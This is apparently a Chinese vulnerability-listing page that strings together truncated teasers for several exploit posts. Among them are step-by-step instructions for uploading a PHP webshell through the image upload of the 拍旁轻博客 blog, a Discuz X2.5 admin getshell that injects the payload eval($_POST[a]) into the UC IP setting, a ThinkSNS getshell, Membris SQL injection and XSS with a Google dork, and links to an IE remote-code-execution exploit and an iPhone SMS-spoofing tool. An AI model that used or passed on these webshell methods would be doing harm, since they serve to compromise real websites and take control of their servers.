漏洞情报266
拍旁轻博客任意上传漏洞
关键字：
power by 身旁网&拍旁轻博客
注册会员——个人空间——图片——增加图片——php一句话or大马——右键查看属性大马地址——去掉_small就是脚本木马地址。
1.
...
[0day]最新IE远程代码执行漏洞Exploit【2012年9月19日】
微软已于今日发布确认公告：
Sep 17th, 2012 - Microsoft releases advisory 2757760:
http://technet.microsoft.com/en-
...
iphone短信欺骗漏洞演示
漏洞原理就不说了，直接上演示吧。
原文地址：http://www.08sec.com/thread-1052-1-1.html
漏洞利用工具下载地址：
http://www.08sec.com/thr
...
Discuz X2.5后台最新拿webshell【转】
第一：我们进入后台已管理员身份就可以
然后打开站长→UC设置
看截图
在UCip地址里面填写 经过处理的一句话如下
Madman');eval($_POST[a])?>;// QQ
然后保存
...
DedeEIMS v1.1 暴后台路径【转】
includedialogconfig.php
//检验用户登录状态
$cuserLogin = new userLogin();
if($cuserLogin->getUserID()==-
...
ThinkSNS后台拿shell漏洞
经过楼主的测试，可以通杀2.0——2.8版本。
未经同意，禁止转载。
程序名称：ThinkSNS
影响版本： 2.0——2.8
漏洞类型： 后台拿shell
漏洞位置： 全局-附件设置
版本确定： 1
...
Membris v 2.0.1 Sql XSS &文件暴露
# Exploit:Membris v 2.0.1 Sql XSS & 文件暴露
# Google Dork: Powered by Membris v 2.0.1
# Date: Dr.abola
...
近期评论